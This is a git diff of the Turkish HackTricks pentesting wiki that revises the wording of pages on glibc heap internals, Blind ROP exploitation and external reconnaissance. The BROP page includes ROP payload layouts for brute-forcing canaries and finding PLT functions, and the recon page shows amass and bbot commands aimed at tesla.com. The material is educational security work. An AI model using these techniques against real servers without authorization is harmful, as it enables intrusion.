diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index af973a127..e70bceed6 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
index e70bceed6..d798d9edc 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
index d798d9edc..1ec78aebd 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
index 1ec78aebd..020fb69e2 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
index 020fb69e2..e3657baf3 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
index e3657baf3..f95e8e4d5 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index f95e8e4d5..9dcb86f81 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index 9dcb86f81..f3314db22 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index f3314db22..7a07c3343 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 7a07c3343..b40c8ed4a 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/SUMMARY.md b/SUMMARY.md
index 7b8ed8fc2..ec628c86c 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -197,6 +197,7 @@
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
+ * [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
* [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md
index 32de8dfa9..37b55c651 100644
--- a/binary-exploitation/libc-heap/README.md
+++ b/binary-exploitation/libc-heap/README.md
@@ -15,8 +15,8 @@ Heap'te depolanması istenen bazı veriler için heap'ten bir alan tahsis edilir
Alanı ayırmanın farklı yolları vardır, esasen kullanılan bin'e bağlıdır, ancak genel bir metodoloji şudur:
* Program, belirli bir miktar bellek talep ederek başlar.
-* Eğer chunk'lar listesinde talebi karşılayacak kadar büyük bir alan varsa, bu kullanılacaktır.
-* Bu, mevcut chunk'ın bir kısmının bu talep için kullanılacağı ve geri kalanının chunk'lar listesine ekleneceği anlamına gelebilir.
+* Eğer chunk listesinde talebi karşılayacak kadar büyük bir alan varsa, bu kullanılacaktır.
+* Bu, mevcut chunk'ın bir kısmının bu talep için kullanılacağı ve geri kalanının chunk listesine ekleneceği anlamına gelebilir.
* Eğer listede mevcut bir chunk yoksa ancak tahsis edilmiş heap belleğinde hala alan varsa, heap yöneticisi yeni bir chunk oluşturur.
* Eğer yeni chunk'ı tahsis etmek için yeterli heap alanı yoksa, heap yöneticisi çekirdekten heap'e tahsis edilen belleği genişletmesini ister ve ardından bu belleği yeni chunk'ı oluşturmak için kullanır.
* Her şey başarısız olursa, `malloc` null döner.
@@ -29,7 +29,7 @@ Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği h
Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena**, **kendi** veri **yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır.
-Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Sınır aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
+Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Limit aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesinin aksine, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çoklu iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
@@ -38,14 +38,14 @@ Ana arenanın `brk` sistem çağrısını kullanarak genişlemesinin aksine, iki
Alt heap'ler, çoklu iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
1. **Başlangıç Heap'i vs. Alt Heap'ler**:
-* Başlangıç heap'i, programın ikili dosyasının hemen arkasında yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
+* Başlangıç heap'i, programın ikili dosyasının bellekte hemen sonrasında yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
* İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur.
-2. **`mmap` ile Bellek Tahsisi**:
-* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu ayırır. Bu tahsis hemen bellek ayırmaz; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
-* Varsayılan olarak, bir alt heap için ayrılan boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
+2. **`mmap` ile Bellek Rezervasyonu**:
+* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
+* Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
3. **`mprotect` ile Aşamalı Genişleme**:
-* Ayrılan bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin henüz bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
-* Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce ayrılan adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
+* Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
+* Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce rezerve edilen adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
* Tüm alt heap tükendiğinde, heap yöneticisi tahsise devam etmek için yeni bir alt heap oluşturur.
### heap\_info
@@ -87,10 +87,10 @@ Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son chunk'larına** **işaretçiler** içerir (0 indeksinin kullanılmadığı için -2).
-* Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geriye dönük bir işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri dönük bir işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
+* Bu nedenle, bu bins'lerin **ilk chunk'u** bu yapıya **geriye işaret eden bir işaretçi** ve bu bins'lerin **son chunk'u** bu yapıya **ileri işaretçi** bulunduracaktır. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
* `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena'ların bağlı listeleridir.
* `top` chunk, temelde **tüm heap hatırlatma alanı** olan son "chunk"tır. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
-* `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde, kalan kısmın işaretçisinin buraya yerleştirildiği durumlardan gelir.
+* `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde ortaya çıkar; burada kalan kısmın işaretçisi yer alır.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
```
### malloc\_chunk
-Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanların, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamları vardır.
+Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanlar, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamlara sahiptir.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
@@ -161,9 +161,9 @@ Daha önce belirtildiği gibi, bu parçaların da bazı meta verileri vardır, b
Meta veri genellikle 0x08B olup, mevcut parça boyutunu belirtmek için son 3 biti kullanır:
-* `A`: 1 ise bir alt yığın, 0 ise ana arenadadır
-* `M`: 1 ise, bu parça mmap ile tahsis edilen bir alanın parçasıdır ve bir yığın parçası değildir
-* `P`: 1 ise, önceki parça kullanımdadır
+* `A`: 1 ise bir alt yığın (subheap) içindedir, 0 ise ana arenadadır
+* `M`: 1 ise, bu parça mmap ile tahsis edilen bir alanın parçasıdır ve bir yığın (heap) parçası değildir
+* `P`: 1 ise, önceki parça kullanılmaktadır
Sonra, kullanıcı verileri için alan ve nihayet 0x08B, parça mevcut olduğunda önceki parça boyutunu belirtmek için (veya tahsis edildiğinde kullanıcı verilerini depolamak için) kullanılır.
@@ -351,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
-* Başlık ve altbilgi ayarlayın (parça numaraları kullanıldığında)
+* Başlık ve alt bilgi ayarlayın (parça numaraları kullanıldığında)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -395,7 +395,7 @@ return ptr;
### Hızlı Yığın Örneği
-Hızlı yığın örneği [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden ama arm64'te:
+[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden alınan hızlı yığın örneği ama arm64 üzerinde:
```c
#include
#include
@@ -414,7 +414,7 @@ Ana fonksiyonun sonunda bir kesme noktası ayarlayın ve bilgilerin nerede sakla
Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliyoruz.
-Rezerve edilen ekstra alan (0x21-0x10=0x11) **eklenmiş başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
+Rezerve edilen ekstra alan (0x21-0x10=0x11), **eklenen başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16 byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@@ -470,12 +470,12 @@ return 0;
Önceki örneği hata ayıklarken, başlangıçta yalnızca 1 arena olduğunu görebiliriz:
-
-
-Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldığında, yeni bir arena oluşturulur:
-
+Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldıktan sonra, yeni bir arena oluşturulur:
+
+
+
Ve içinde bazı parçalar bulunabilir:
diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
index bd5f43659..70e39d1cd 100644
--- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@@ -25,23 +25,23 @@ Bu saldırı aşağıdaki senaryoya dayanmaktadır:
## Saldırı
-### **1. Hedeflenen ofseti bulma** sunucu arızası tespit edilene kadar bir karakter daha göndererek
+### **1. Hatalı sunucu tespit edilene kadar bir karakter daha göndererek savunmasız ofseti bul**
-### **2. Canary'yi brute-force ile bulma**
+### **2. Canary'i brute-force ile sızdır**
-### **3. Yığın içindeki saklanan RBP ve RIP adreslerini brute-force ile bulma**
+### **3. Yığın içindeki saklanan RBP ve RIP adreslerini brute-force ile sızdır**
-Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Yığınlardaki Adresler)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
+Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
-### **4. Durdurma gadget'ını bulma**
+### **4. Durdurma gadget'ını bul**
Bu gadget, ROP gadget'ı tarafından ilginç bir şeyin çalıştırıldığını doğrulamayı sağlar çünkü yürütme çökmez. Genellikle, bu gadget **yürütmeyi durduracak** bir şeydir ve belirli bir ROP gadget'ının çalıştırıldığını doğrulamak için ROP zincirinin sonunda yer alır.
-### **5. BROP gadget'ını bulma**
+### **5. BROP gadget'ını bul**
Bu teknik, [**ret2csu**](ret2csu.md) gadget'ını kullanır. Bunun nedeni, bu gadget'a bazı talimatların ortasında erişirseniz **`rsi`** ve **`rdi`**'yi kontrol eden gadget'lar elde etmenizdir:
-
+
Bunlar gadget'lar olacaktır:
@@ -62,9 +62,9 @@ Bu son seçeneği **kaldırmak için** aşağıdaki gibi yeni bir zincir çalı
ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol etmek için gadget'ların adresini çıkarmak** mümkündür.
-### 6. PLT'yi bulma
+### 6. PLT'yi bul
-PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile ayrılmıştır ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** ile de çökmez çünkü bu ilk çalıştırılan koddur.
+PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile **ayrılmıştır** ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** de çökmez çünkü bu ilk yürütülen koddur.
Bu nedenle, aşağıdaki davranışları kontrol ederek PLT tablosunu bulmak mümkündür:
@@ -74,31 +74,31 @@ Bu nedenle, aşağıdaki davranışları kontrol ederek PLT tablosunu bulmak mü
### 7. strcmp bulma
-**`strcmp`** fonksiyonu **`rdx`** kaydını karşılaştırılan stringin uzunluğuna ayarlar. **`rdx`**'nin **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write` kullanabilmemiz için **0'dan büyük** olması gerektiğini unutmayın.
+**`strcmp`** fonksiyonu **`rdx`** kaydını karşılaştırılan stringin uzunluğuna ayarlar. **`rdx`**'nin **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için **0'dan büyük** olması gerektiğini unutmayın.
-**`strcmp`**'nun PLT'deki konumunu, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğine dayanarak bulmak mümkündür:
+**`strcmp`**'nin PLT'deki konumunu, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğine dayanarak bulmak mümkündür:
-* strcmp(\, \) -> çökme
-* strcmp(\, \) -> çökme
-* strcmp(\, \) -> çökme
-* strcmp(\, \) -> çökme yok
+* strcmp(\, \) -> çökme
+* strcmp(\, \) -> çökme
+* strcmp(\, \) -> çökme
+* strcmp(\, \) -> çökme yok
-Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'a çağrıda bulunur) çağırmak ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemektir:
+Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'yi çağırır) çağırmak ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemektir:
-* strcmp(\, \) -> çökme
+* strcmp(\, \) -> çökme
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek
-* strcmp(\, \) -> çökme
+* strcmp(\, \) -> çökme
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
-* strcmp(\, \) -> çökme yok
+* strcmp(\, \) -> çökme yok
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Unutmayın ki:
* BROP + 0x7 **`pop RSI; pop R15; ret;`**'ye işaret eder
* BROP + 0x9 **`pop RDI; ret;`**'ye işaret eder
-* PLT + 0xb **dl\_resolve**'a bir çağrıya işaret eder.
+* PLT + 0xb **dl\_resolve**'ye bir çağrıya işaret eder.
-`strcmp`'u bulduktan sonra, **`rdx`**'yi 0'dan büyük bir değere ayarlamak mümkündür.
+`strcmp`'yi bulduktan sonra, **`rdx`**'yi 0'dan büyük bir değere ayarlamak mümkündür.
{% hint style="success" %}
Genellikle `rdx`'nin zaten 0'dan büyük bir değeri barındıracağını unutmayın, bu nedenle bu adım gerekli olmayabilir.
@@ -116,7 +116,7 @@ Bunun için kötüye kullanılabilecek 3 yaygın fonksiyon vardır:
Ancak, orijinal makalede yalnızca **`write`**'den bahsedilmektedir, bu nedenle bunun hakkında konuşalım:
-Mevcut sorun, **write fonksiyonunun PLT içindeki yerini** bilmememizdir ve **verileri soketimize göndermek için bir fd numarasını** bilmememizdir.
+Mevcut sorun, **write fonksiyonunun PLT içindeki yerini** bilmememiz ve **verileri soketimize göndermek için bir fd numarasını** bilmememizdir.
Ancak, **PLT tablosunun nerede olduğunu** biliyoruz ve **davranışına** dayanarak write'ı bulmak mümkündür. Ve sunucu ile **birçok bağlantı** oluşturabiliriz ve bazı bağlantılarımızla eşleşmesini umarak **yüksek bir FD** kullanabiliriz.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md
index c870cf596..d8aa7c993 100644
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -1,23 +1,23 @@
# Dış Recon Metodolojisi
{% hint style="success" %}
-AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}
-
+
-**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
+**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -35,25 +35,25 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın
### **Satın Almalar**
Öncelikle, **ana şirketin sahip olduğu diğer şirketleri** bilmemiz gerekiyor.\
-Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" üzerine **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
+Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" seçeneğine **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
-> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım.
+> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlamaya çalışalım.
### **ASNs**
Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\
-Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
+Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de arama yapabilirsiniz.**\
-**Şirketin bulunduğu bölgeye bağlı olarak bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
+**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
-Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nin** alt alan adları belirlemesi, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler.
+Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nin** alt alan adlarını belirleme işlemi, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler.
```bash
bbot -t tesla.com -f subdomain-enum
...
@@ -85,7 +85,7 @@ Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-f
_Lütfen, aşağıda önerilen tekniklerde alt alan adlarını da bulabileceğinizi ve bu bilginin küçümsenmemesi gerektiğini unutmayın._
-Öncelikle her şirketin **ana alan adını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
+Öncelikle her şirketin **ana alan adı**(larını) aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
### **Ters DNS**
@@ -109,8 +109,8 @@ You can use online tools like:
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API yok.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil
-* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama)
-* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama)
+* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil
